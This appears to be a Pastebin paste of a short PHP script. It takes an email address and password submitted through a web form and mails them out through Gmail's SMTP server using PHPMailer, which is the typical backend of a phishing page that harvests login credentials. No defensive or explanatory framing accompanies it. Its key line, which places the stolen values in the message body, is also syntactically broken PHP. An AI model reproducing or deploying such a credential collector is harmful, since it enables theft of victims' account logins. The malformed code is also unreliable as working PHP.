Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $email = $_POST['email'];
- $password = $_POST['password'];
- require 'PHPMailer-master/PHPMailerAutoload.php';
- $mail = new PHPMailer;
- $mail->isSMTP();
- // $mail->SMTPDebug = 2;
- // $mail->Debugoutput = 'html';
- $mail->Host = 'smtp.gmail.com';
- //Set the SMTP port number - 587 for authenticated TLS, a.k.a. RFC4409 SMTP submission
- $mail->Port = 587;
- $mail->SMTPSecure = 'tls';
- $mail->SMTPAuth = true;
- $mail->Username = "";
- $mail->Password = "";
- $mail->setFrom('from@example.com', 'First Last');
- $mail->addReplyTo('replyto@example.com', 'First Last');
- //Set who the message is to be sent to
- $mail->addAddress('whoto@example.com', 'John Doe');
- $mail->Subject = 'PHPMailer GMail SMTP test';
- //Replace the plain text body with one created manually
- $mail - > Body = $email, $password;
- // $mail->Body = '<html>
- // <head>
- // <title>Birthday Reminders for August</title>
- // </head>
- // <body>
- // <p>Here are the birthdays upcoming in August!</p>
- // <table>
- // <tr>
- // <th>Person</th><th>Day</th><th>Month</th><th>Year</th>
- // </tr>
- // <tr>
- // <td>Joe</td><td>3rd</td><td>August</td><td>1970</td>
- // </tr>
- // <tr>
- // <td>Sally</td><td>17th</td><td>August</td><td>1973</td>
- // </tr>
- // </table>
- // </body>
- // </html>';
- $mail->IsHTML(true);
- if (!$mail->send()) {
- echo "Mailer Error: " . $mail->ErrorInfo;
- } else {
- echo "Message sent!";
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement